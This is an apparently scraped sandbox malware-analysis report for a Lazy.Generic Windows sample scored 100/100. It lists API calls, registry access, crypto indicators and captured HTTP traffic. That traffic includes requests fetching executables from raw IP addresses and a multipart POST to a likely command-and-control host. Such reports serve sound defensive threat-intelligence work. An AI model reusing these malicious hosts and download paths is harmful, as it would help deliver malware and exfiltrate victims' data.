26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 62:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T49c,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Lazy.Generic Sample ff3bd8bcbd9f… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample ff3bd8bcbd9f…. Malware family: Lazy.Generic. Threat score 100/100. 3/25 AV engines flagged this file. 15 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/ff3bd8bcbd9f93c0b48fac3dad59735db9db2343da3126bc836a3134b563924d","keywords":["Malicious","Lazy.Generic","malware analysis","sandbox report","threat intelligence","ff3bd8bcbd9f93c0b48fac3dad59735db9db2343da3126bc836a3134b563924d"],"about":{"@type":"SoftwareApplication","name":"bb7917ed8063b9fd1cf3ea57fed87a5a","applicationCategory":["peexe","64bits","executable"],"identifier":"ff3bd8bcbd9f93c0b48fac3dad59735db9db2343da3126bc836a3134b563924d","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Lazy.Generic","antivirusDetections":{"malicious":3,"total":25},"behavioralIndicators":{"malicious":15,"suspicious":22},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T46a,"BroomSetup.exe" called "FindResourceW" with parameter "8330856" - (UID: 00000000-00006224) "BroomSetup.exe" called "FindResourceW" with parameter "8331428" - (UID: 00000000-00006224) "BroomSetup.exe" called "FindResourceW" with parameter "81509260" - (UID: 00000000-00006224) "BroomSetup.exe" called "FindResourceW" with parameter "81516108" - (UID: 00000000-00006224) "BroomSetup.exe" called "FindResourceW" with parameter "81833484" - (UID: 00000000-00006224) "BroomSetup.exe" called "FindResourceW" with parameter "127036588" - (UID: 00000000-00006224) "BroomSetup.exe" called "FindResourceW" with parameter "127037588" - (UID: 00000000-00006224) "BroomSetup.exe" called "FindResourceW" with parameter "126888108" - (UID: 00000000-00006224) "BroomSetup.exe" called "FindResourceW" with parameter "80643180" - (UID: 00000000-00006224) "BroomSetup.exe" called "FindResourceW" with parameter "127040268" - (UID: 00000000-00006224) "BroomSetup.exe" called "FindResourceW" with parameter "127041188" - (UID: 00000000-00006224) "BroomSetup.exe" called "FindResourceW" with parameter "127042788" - (UID: 00000000-00006224)28:T5e6,"BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8865560'}" (UID: 00000000-00006224) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8865544'}" (UID: 00000000-00006224) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8864312'}" (UID: 00000000-00006224) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8865784'}" (UID: 00000000-00006224) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8865944'}" (UID: 00000000-00006224) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8865816'}" (UID: 00000000-00006224) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8865704'}" (UID: 00000000-00006224) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8865768'}" (UID: 00000000-00006224) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8865720'}" (UID: 00000000-00006224) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8865736'}" (UID: 00000000-00006224) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8865752'}" (UID: 00000000-00006224) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8865800'}" (UID: 00000000-00006224)29:T1212,Contains base64 string in header "35Connection" in header "GET /InstallSetup2.exe HTTP/1.1Host: 5.42.64.35Connection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /InstallSetup2.exe HTTP/1.1Host: 5.42.64.35Connection: Keep-Alive" Contains base64 string in header "/s/fourt" in header "GET /s/fourt.exe HTTP/1.1Host: 47.236.140.86Connection: Keep-Alive" Contains base64 string in header "86Connection" in header "GET /s/fourt.exe HTTP/1.1Host: 47.236.140.86Connection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /s/fourt.exe HTTP/1.1Host: 47.236.140.86Connection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 HTTP/1.1Host: net.geo.opera.comConnection: Keep-Alive" Contains base64 string in header "NSIS" in header "GET /?format=weg HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: api.ipify.orgConnection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "GET /?format=weg HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: api.ipify.orgConnection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /?format=weg HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: api.ipify.orgConnection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "NSIS" in header "GET /scripts/plus.php?ip=67.218.111.202&substr=two&s=ab HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 91.92.254.7Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "GET /scripts/plus.php?ip=67.218.111.202&substr=two&s=ab HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 91.92.254.7Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /scripts/plus.php?ip=67.218.111.202&substr=two&s=ab HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 91.92.254.7Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "/syncUpd" in header "GET /syncUpd.exe HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 5.42.64.35Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "NSIS" in header "GET /syncUpd.exe HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 5.42.64.35Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "GET /syncUpd.exe HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 5.42.64.35Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "35Connection" in header "GET /syncUpd.exe HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 5.42.64.35Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /syncUpd.exe HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 5.42.64.35Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFCFHJDBKJKEBFHJEHIHost: 77.91.76.36Content-Length: 214Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFCFHJDBKJKEBFHJEHIHost: 77.91.76.36Content-Length: 214Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFCFHJDBKJKEBFHJEHIHost: 77.91.76.36Content-Length: 214Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFCFHJDBKJKEBFHJEHIHost: 77.91.76.36Content-Length: 214Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "HCFCFHJDBKJKEBFHJEHIHost" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFCFHJDBKJKEBFHJEHIHost: 77.91.76.36Content-Length: 214Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFCFHJDBKJKEBFHJEHIHost: 77.91.76.36Content-Length: 214Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "NSIS" in header "GET / HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Connection: Keep-AliveCache-Control: no-cacheHost: www.zonealarm.com" Contains base64 string in header "Keep" in header "GET / HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Connection: Keep-AliveCache-Control: no-cacheHost: www.zonealarm.com"2a:T480,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains asymmetric cryptographic functions (API string) Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains CRYPTO related strings Matched sigs: Found XOR operators (encryption/decryption) Matched sigs: Contains reference to cryptographic keys Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Calls an API typically to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Reads the cryptographic machine GUID Matched sigs: HTTP requests contain Base64 strings Matched sigs: Drops image files with high entropy (likely encrypted/compressed content) Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Sample file has high entropy (likely encrypted/compressed content)2b:T3150,"bb7917ed8063b9fd1cf3ea57fed87a5a.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008140) "CasPol.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000736) "CasPol.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ffff00000000e8cfa90838cff97614273a0354d0a90801000000c8263a0314273a03c8263a03040000000400000000e043760010000054d0a90801000000c8263a03cd97f9769c97f976d63993e4b50f3a76c8263a030000f97600000000a4129a6d0000000080ee40760100000000000000f8e2437600000000040000000000000048404276f8e2437658d0a90880e88975a0d73a0380e8897554d0a9080000000080e8897500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000009eec4603b4ec4603 (UID: 00000000-00000736) "CasPol.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000c6734503de734503 (UID: 00000000-00000736) "CasPol.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000e064a0822064a08 (UID: 00000000-00000736) "CasPol.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000001e6c4503366c4503 (UID: 00000000-00000736) "CasPol.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000090127603000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e4c0a9085243fc764300000038c1a90873f637767ac1a9085c00000000000000fdfeff7f82f8377600000000fc3a6305feffffff000000000000000000000000050000008886460302000000020000000a00000078864603888646030000000091d0c7bd80c3a908ddf3377674c1a90800000000788646030a000000f8f3377678864603 (UID: 00000000-00000736) "CasPol.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000189145032c914503 (UID: 00000000-00000736) "CasPol.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000480800000000e7c08775000000004a000000ecad490864000000ffc1b17ff8bfa90835878e7500000000d0f848082a00000088c54808f8bfa9084c878e755c878e75afc1b17fe8ad4908d0f84808b8d04908b8d0490800000000e8ad490888c548089cc3a90800000000901276035c878e75c8848e75d0f84808b8d049080000000000000000807f8e75b4858e7500000000000000000000000000000000a0d04908d0f84808e8ad490890127603c0c4a9089cc4a90881f1e47590127603d8c9a90868c6a908c5f1e47502000000b21ae57500000000c8c4a9081c60e17504000000c0c4a9085c837e7588127603a090e875000000000000000000000000 (UID: 00000000-00000736) "CasPol.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000003876e8ad490888c548080000000000000000d8c2a9088b848e75330000008fbcb17fdc2b4603807f8e75b4858e7500000000d0f84808000000009012760320d34908d0f84808e8ad49080c0000000000000000000000000049081c010000060000000300000080250000020000000000480800000000e7c08775a4bfa9085243fc7643000000f8bfa90873f6377656c0a9085c000000000000000bffff7f82f8377600000000e4c36405ffffffff0000000000000000000000000800000082fc440301000000010000001a00000050fc440382fc44030000000051aec7bd40c2a908ddf3377634c0a9080000000050fc44031a000000f8f3377650fc4403 (UID: 00000000-00000736) "CasPol.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000090bf4403a8bf4403 (UID: 00000000-00000736) "CasPol.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000090127603000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b4b789095243fc764300000008b8890973f637764ab889095c00000000000000fdfeff7f82f8377600000000fc264001feffffff000000000000000000000000050000005891490802000000020000000a000000489149085891490800000000a1a9e7bc50ba8909ddf3377644b8890900000000489149080a000000f8f3377648914908 (UID: 00000000-00000736) "CasPol.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000581040036c104003 (UID: 00000000-00000736) "CasPol.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000700480d350364000000fd3e8e75bcb68909f0fb3976593c2cc3feffffffc8b68909c8b68909b6a2887500003a0300000000f0084b08c8b689094c878e755c878e759fc8917e88c548080000000050d4490850d4490800004808e8ad4908f0084b086cba890900000000901276035c878e75af848e75e8724b0850d449080000000000000000807f8e75b4858e75000000000000000000000000bb35da0138d44908e8724b08e8ad49089012760390bb89096cbb890981f1e47590127603a8c0890938bd8909c5f1e47502000000b21ae5750000000098bb89091c60e1750400000090bb89095c837e7588127603a090e875000000000000000000000000 (UID: 00000000-00000736) "CasPol.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000003876e8ad4908f0084b080000000000000000a8b989098b848e7533000000ffc7917e24cc4c08807f8e75b4858e756400000000000000000000009012760358d74908686f4b08e8ad49080c0000000000000000000000000049081c0100000600000003000000802500000200000000000700480d35036400000074b689095243fc7643000000c8b6890973f6377626b789095c000000000000000bffff7f82f837760000000084a14706ffffffff00000000000000000000000008000000b215420301000000010000001a00000080154203b21542030000000061a7e7bc10b98909ddf3377604b7890900000000801542031a000000f8f3377680154203 (UID: 00000000-00000736) "CasPol.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000000bf440318bf4403 (UID: 00000000-00000736) "CasPol.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009012760300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064b589095243fc7643000000b8b5890973f63776fab589095c00000000000000fdfeff7f82f8377600000000ec244001feffffff000000000000000000000000050000001891490802000000020000000a00000008914908189149080000000011a4e7bc00b88909ddf33776f4b5890900000000089149080a000000f8f3377608914908 (UID: 00000000-00000736) "CasPol.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000b8ce4d08ccce4d08 (UID: 00000000-00000736) "CasPol.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000d00480d350364000000fd3e8e756cb48909f0fb3976593c2cc3feffffff78b4890978b48909b6a2887500003a0300000000f8094b0878b489094c878e755c878e752fca917ef0084b080000000090d5490890d5490800004b08e8ad4908f8094b081cb8890900000000901276035c878e75af848e7560714b0890d549080000000000000000807f8e75b4858e75000000000000000000000000ce35da0178d5490860714b08e8ad49089012760340b989091cb9890981f1e4759012760358be8909e8ba8909c5f1e47502000000b21ae5750000000048b989091c60e1750400000040b989095c837e7588127603a090e875000000000000000000000000 (UID: 00000000-00000736) "CasPol.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000003876e8ad4908f8094b08000000000000000058b789098b848e75330000000fc9917e64dd4c08807f8e75b4858e7564000000000000000000000090127603a8d74908686f4b08e8ad49080c0000000000000000000000000049081c0100000600000003000000802500000200000000000d00480d35036400000024b489095243fc764300000078b4890973f63776d6b489095c000000000000000bffff7f82f8377600000000749a4706ffffffff00000000000000000000000008000000721a420301000000010000001a000000401a4203721a420300000000d1a5e7bcc0b68909ddf33776b4b4890900000000401a42031a000000f8f33776401a4203 (UID: 00000000-00000736)2c:T476,"bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "CasPol.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "CasPol.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "pnyhlJ15kIGAuyP1DTRWyj5L.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "pnyhlJ15kIGAuyP1DTRWyj5L.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "tADoao6OOjGypodPFPdb9O4N.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "BroomSetup.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "nsn192A.tmp.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")2d:T4a6,Found reference to API "FindWindowExA" (Indicator: "FindWindow"; File: "uninst.exe.167212768") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; File: "ClocX.exe.2694322656") Found reference to API "FindWindowExW" (Indicator: "FindWindow"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp") Found reference to API "GetWindowTextLengthW" (Indicator: "GetWindowText"; Source: "00000000-00006224.00000001.69560.0081D000.00000004.mdmp")2e:T4af,Found string "nslookup: WSAStartup:%0" (Indicator: "nslookup"; Source: "00000000-00006224.00000000.67640.05470000.00000002.mdmp") Found string "nslookup [-opt ...] # interactive mode using default server" (Indicator: "nslookup"; Source: "00000000-00006224.00000000.67640.05470000.00000002.mdmp") Found string "nslookup [-opt ...] - server # interactive mode using 'server'" (Indicator: "nslookup"; Source: "00000000-00006224.00000000.67640.05470000.00000002.mdmp") Found string "nslookup [-opt ...] host # just look up 'host' using default server" (Indicator: "nslookup"; Source: "00000000-00006224.00000000.67640.05470000.00000002.mdmp") Found string "nslookup [-opt ...] host server # just look up 'host' using 'server'" (Indicator: "nslookup"; Source: "00000000-00006224.00000000.67640.05470000.00000002.mdmp") Found string "nslookup" (Indicator: "nslookup"; Source: "00000000-00006224.00000000.67640.05470000.00000002.mdmp") Found string "nslookup.exe" (Indicator: "nslookup"; Source: "00000000-00006224.00000000.67640.05470000.00000002.mdmp") Found string "nslookup.exe.mui" (Indicator: "nslookup"; Source: "00000000-00006224.00000000.67640.05470000.00000002.mdmp")2f:T9d7,"CasPol.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "CasPol.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "CasPol.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "CasPol.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "CasPol.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "CasPol.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "CasPol.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "CasPol.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "CasPol.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "CasPol.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "CasPol.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "CasPol.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "CasPol.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "CasPol.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "")30:T86c,"CasPol.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "CasPol.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "CasPol.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "CasPol.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "CasPol.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "CasPol.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "CasPol.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "CasPol.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "CasPol.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "CasPol.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "CasPol.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "CasPol.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "CasPol.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "CasPol.exe" (Path: 